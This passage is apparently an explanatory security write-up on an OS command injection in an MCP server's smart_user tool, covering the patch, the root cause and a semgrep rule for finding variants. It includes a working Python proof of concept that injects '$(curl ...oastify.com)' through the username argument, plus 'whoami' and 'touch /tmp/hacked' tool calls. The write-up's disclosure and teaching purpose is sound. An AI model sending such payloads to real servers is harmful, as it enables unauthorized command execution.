Because the transport is stdio, a small Python script is enough: it spawns the server, sends an initialize request, then a tools/call for smart_user with operation set to get-user-info and a username containing a command substitution that calls back to a Burp Collaborator domain.
import subprocessimport sysSERVER = ["node", "token-optimizer-mcp/dist/server/index.js"] def send(process, message): data = json.dumps(message) + "\n" process.stdin.write(data.encode()) process.stdin.flush()def receive(process): line = process.stdout.readline() if not line: raise RuntimeError("MCP server closed stdout") return json.loads(line)def main(): print("Starting MCP server...") process = subprocess.Popen( SERVER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=sys.stderr, ) try: send(process, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-06-18", "capabilities": {},
"clientInfo": { "name": "python-poc", "version": "0.1.0", }, }, }) response = receive(process) send(process, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": "$(curl http://[redacted].oastify.com)" } }, }) response = receive(process) text = response["result"]["content"][0]["text"] data = json.loads(text) print(json.dumps(data, indent=2)) finally: process.terminate() process.wait()if __name__ == "__main__": main()
This is a lot of code, but each part has one job.
import subprocess and import sys load two Python modules: one for starting other programs, one for access to the system's standard error channel. SERVER = ["node", "token-optimizer-mcp/dist/server/index.js"] is the command that starts the server, stored as a list of two pieces: the program node and the file to run.
def send(process, message) defines a function that sends one message. json.dumps(message) + "\n" turns the Python dictionary into JSON text and adds a newline, because the server reads one message per line. process.stdin.write(data.encode()) writes those bytes into the server's input, and process.stdin.flush() forces them out immediately instead of waiting in a buffer.
def receive(process) defines the opposite: process.stdout.readline() reads one line of the server's output. If the line is empty, the server has closed its output and a RuntimeError is raised. Otherwise json.loads(line) turns the JSON text back into a Python dictionary and returns it.
def main() is the script's body. subprocess.Popen(SERVER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=sys.stderr) starts the server as a child process, wiring its input and output to pipes the script can read and write, and letting its error output go to the terminal. The try block holds the conversation and the finally block always runs at the end: process.terminate() stops the server and process.wait() waits for it to exit, so no stray process is left behind.
The first send is the initialize message. "jsonrpc": "2.0" declares the protocol version, "id": 1 labels the request so the reply can be matched to it, "method": "initialize" is the handshake every MCP conversation starts with, and params carries the protocol version the client speaks, an empty capabilities object, and the client's name and version. The receive(process) line reads the server's answer to the handshake.
The second send is the attack. It is a tools/call with "id": 2, naming the tool smart_user and passing two arguments: "operation": "get-user-info" selects the branch that leads to the vulnerable function, and "username": "$(curl http://[redacted].oastify.com)" is the payload. curl is a program that fetches a web address; the address belongs to the researcher's Collaborator domain, so any contact with it proves the command ran. The $(...) around it is the shell syntax that runs the command inside and substitutes its output.
After that, text = response["result"]["content"][0]["text"] digs into the reply to get the text the tool returned, json.loads(text) parses it, and print(json.dumps(data, indent=2)) prints it neatly. The last two lines, if __name__ == "__main__": main(), are Python's way of saying "run main when this file is executed directly".
The username value is the payload: the shell running getent passwd "..." evaluates $(curl ...) and makes the outbound request. The author sent the payload to a Burp Collaborator domain in case the output was not transparent and a pingback arrived, showing that an OS command had been slipped into a tool that is only supposed to return user information. A pingback is that incoming contact: the researcher's server logs a visit from the victim machine, which the researcher could not have caused any other way.
Step 4: confirm the patch
Running the same tool call against master with a simple whoami payload returns:
"data": { "error": "Failed to get Unix user details: User not found: $(whoami)" },
whoami is a command that prints the current user's name, so if it had run, the reply would contain a name. Instead the reply is an error saying the user was not found, and the text of the error contains the literal characters $(whoami).
The $() characters are no longer interpreted; they are treated as ordinary characters in the username, and the lookup simply fails. That is exactly what a correct fix looks like from the outside: the payload is still accepted as text, it just has no special meaning any more.
Root cause
The vulnerable code built a shell command string by interpolating caller-controlled values into it and passed the result to exec, which runs through a shell. Any value containing $(...), backticks, ; or | was therefore executed as shell syntax with the privileges of the server process. The same pattern existed for groupname (getent group "${groupname}" || grep "^${groupname}:" /etc/group) and for path (icacls "${path}").
icacls is the Windows command for showing and changing file permissions, the Windows counterpart of the ACL lookup mentioned at the start. The pattern is identical in all three cases: text from outside goes into a command line, and a shell reads it.
The fix works because execFile with shell: false executes the binary directly and passes each array element as a single argument, so shell metacharacters are never parsed. The two validation layers added alongside it, the Zod safePathArg schema and the assertSafeArg function, are defence in depth rather than the real fix. Defence in depth means adding several independent barriers so that one failing does not sink you, like a ship with several watertight compartments. Both only reject the null byte, newline, carriage return and a leading -, and the author notes that a deny-list of three control characters is easy to bypass, for example with a Unicode line separator character. A Unicode line separator is a character that looks like a line break to some software but is not one of the three characters the filter checks, so it slips past. The author also calls the two checks largely redundant with each other, and suggests that using Zod alone would have been cleaner.
Impact
An attacker who can call the smart_user tool can execute arbitrary OS commands as the user running the MCP server. The source is a tool-call argument in an MCP request, so anyone able to send JSON-RPC messages to the server's stdin can reach the vulnerable command. The tool's intended purpose is only to read user information, so command execution is an unintended side effect and a valid vulnerability.
The word agent here means an AI assistant that can take actions through tools on the user's behalf.
Fix
The patch in 5.1.0 made three improvements:
- Safe wrapper utilities:
execFileSafeand related helpers run commands in argv mode withshell: false, and the tool no longer builds command strings. - Input validation with Zod:
SmartUserSchemavalidatesusername,groupnameandpathwithsafePathArg. - Input validation with assertions:
assertSafeArgis called before each external command.
An assertion is a check that stops the program immediately if its condition is not met, rather than carrying on with bad data.
The essential change is the first one. The author's assessment is that the validation layers are inadequate on their own and that execFileSafe is what actually resolves the issue.
Variants to test
After confirming the fix, the author looked for the same unsafe pattern elsewhere in the code base, using a custom semgrep rule:
rules: - id: cwe-78-nodejs languages: - javascript - typescript message: "child_process function called unsafely" severity: ERROR patterns: - pattern-either: - pattern: '$CPFUNC(..., { ..., shell: true, ... })' - pattern: $CPFUNC(..., ...) - pattern-not: $CPFUNC("...", ...) - pattern-not: $CPFUNC(process.execPath, ...) - metavariable-regex: metavariable: $CPFUNC regex: "(spawn|exec).*"
semgrep is a tool that searches source code for patterns rather than for exact text, a bit like a spell-checker that understands grammar instead of just words. A rule is the description of what to look for. This rule is written in YAML, a simple indentation-based format for configuration.
Line by line: rules: starts the list of rules. - id: cwe-78-nodejs names this rule after the weakness class. languages: lists JavaScript and TypeScript as the languages to scan. message: "child_process function called unsafely" is the text printed when the rule matches. severity: ERROR marks matches as serious. patterns: begins the matching logic. pattern-either: means any of the following sub-patterns counts. The first sub-pattern, '$CPFUNC(..., { ..., shell: true, ... })', matches a call to some function whose options include shell: true; $CPFUNC is a placeholder for any function name and ... means "anything here". The second, $CPFUNC(..., ...), matches any call at all. The two pattern-not lines then remove the harmless cases: $CPFUNC("...", ...) excludes calls whose first argument is a fixed string, and $CPFUNC(process.execPath, ...) excludes calls that run the current Node.js binary itself. Finally, metavariable-regex with metavariable: $CPFUNC and regex: "(spawn|exec).*" restricts the placeholder to function names starting with spawn or exec.
semgrep -c CWE-78-semgrep.yaml ./token-optimizer-mcp/src
This runs semgrep with the configuration file CWE-78-semgrep.yaml against the src folder of the project. The -c flag means "use this config".
The author wanted to test the code base for three unsafe patterns: calls to exec, calls to execFile/spawn/execFileSync with shell: true, and calls where user input reaches the first argument (the command itself). The author describes the rule as imperfect but sufficient for the job.
Results came back in src/tools/configuration/smart-package-json.ts, where execFileSafeSync is called with pmCmd as the binary and arguments such as ['list', '--json', '--depth=${depth}'], ['audit', '--json'] and ['outdated', '--json']. Tracing pmCmd showed it is an enum limited to npm, yarn or pnpm, so it cannot be set arbitrarily and the finding did not lead anywhere. An enum is a fixed list of allowed values, so the program name can only ever be one of those three package managers.
The second result was in src/tools/system-operations/smart-process.ts:
Line by line: spawn(options.command, options.args || [], { ... }) starts a program whose name comes from options.command and whose arguments come from options.args, or an empty list if that is missing. The options set the working directory, merge the caller's environment variables over the process's own with { ...process.env, ...options.env }, allow the child to run detached, connect its input and output to pipes with stdio: 'pipe', disable the shell with shell: false, and hide the console window on Windows.
Here options.command is the binary and options.args the argument array, with shell: false. Sending this tool call does execute an arbitrary command:
send(process, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "smart_process", "arguments": { "operation": "start", "command": "touch", "args": ["/tmp/hacked"] }
},})
This is the same send function as before, now calling a different tool. "name": "smart_process" selects the process tool, "operation": "start" asks it to start something, "command": "touch" names the program to run, and "args": ["/tmp/hacked"] passes it one argument. touch is a command that creates an empty file if it does not exist, so this call would create a file called hacked in the /tmp folder.
But the author judges this to have no real impact: smart_process exists precisely to let the agent create processes, so the behaviour is intended. The contrast with smart_user is the point: there, command execution was an unintended side effect of an information tool.
- Diff the patched release against the previous one and search the diff for the tool or feature named in the advisory. A positive result is a removed
exec/execSynccall with interpolated values, or a newshell: falseoption appearing where none was before. - Taint backwards from each sink to the request handler. A positive result is an unbroken path from a JSON-RPC argument to the command string, as with
usernamehere. - Run a semgrep rule over the source for
exec,shell: trueand user input in the command position. A positive result is a hit where the first argument is caller-controlled, not a fixed enum orprocess.execPath. - For each hit, ask whether the tool is supposed to run commands. A hit in a tool whose purpose is process creation is intended behaviour; a hit in a read-only information tool is a vulnerability.
- When reviewing a fix, check whether the validation is a deny-list. A positive result is a filter that only blocks a handful of characters, which can usually be bypassed with other separators.
Glossary
- ACL: access control list, the list of who may do what with a file or folder.
- Agent: an AI assistant that can take actions through tools on a user's behalf.
- API: a fixed way for two programs to exchange requests and answers.
- argv mode: starting a program by giving its name plus a separate list of arguments, with no shell in between.
- Assertion: a check that stops the program immediately if its condition fails.
- async / await: keywords for writing code that pauses while waiting for slow work to finish.
- Burp Collaborator: a service that gives you a unique domain and reports any contact made to it, used to confirm out-of-band execution.
- Checkout: your own local copy of a project's files.
- Command: an instruction that makes the computer do something.
- CVE: a public catalogue number for a known vulnerability.
- CWE-78: the standard catalogue entry for OS command injection.
- Defence in depth: adding several independent barriers so one failing does not sink you.
- Deny-list: a filter that blocks named bad things and lets everything else through.
- Diff: a comparison of two versions of files, showing removed and added lines.
- Enum: a fixed list of allowed values.
- git: the program that records the history of a code project.
- Interpolation: pasting a value into a larger piece of text.
- JSON: a text format for structured data using brackets, quotes and colons.
- JSON-RPC: a message format for calling actions on another program, with a method name and parameters.
- Library / SDK: reusable code written by someone else; an SDK is a library made for a specific service or protocol.
- master: the main line of development in a code project, the current code rather than a numbered release.
- MCP: Model Context Protocol, a standard for an AI client to call tools offered by a separate server.
- Metacharacter: a symbol such as
;,|,$(...)or a backtick that a shell treats as an instruction rather than as text. - Node.js: the program that runs JavaScript outside a browser.
- npm: Node.js's package manager, which downloads the libraries a project needs.
- Out-of-band: confirming success through a different channel than the normal response.
- passwd: the file on Linux and macOS listing user accounts, one per line.
- Patch: the change that fixes a vulnerability.
- Payload: the malicious text an attacker sends.
- Pingback: an incoming contact from the victim machine that proves a command ran.
- promisify: a Node.js utility that turns an old-style callback function into one you can await.
- Python: a programming language, used here for a small client script.
- Schema: a description of what valid input looks like.
- semgrep: a tool that searches source code for structural patterns.
- Shell: the middleman program that reads a line of text, interprets special symbols, and starts the right program.
- Sink: the dangerous place in code where the harm finally happens.
- Source: the place where an attacker's data enters the program.
- stdin / stdout: the standard input and output channels every program has.
- Switch: a way of choosing between several code paths based on a value.
- Taint tracking: following data from source to sink to check that nothing cleans it on the way.
- Transport: the pipe messages travel through between two programs.
- TypeScript: a stricter dialect of JavaScript that is translated into JavaScript before running.
- Unicode line separator: a character that some software treats as a line break but that is not a newline or carriage return.
- Vulnerability: a flaw that lets someone make a program act against its author's intent.
- YAML: a simple indentation-based format for configuration files.
- Zod: a TypeScript library for describing and checking the shape of data.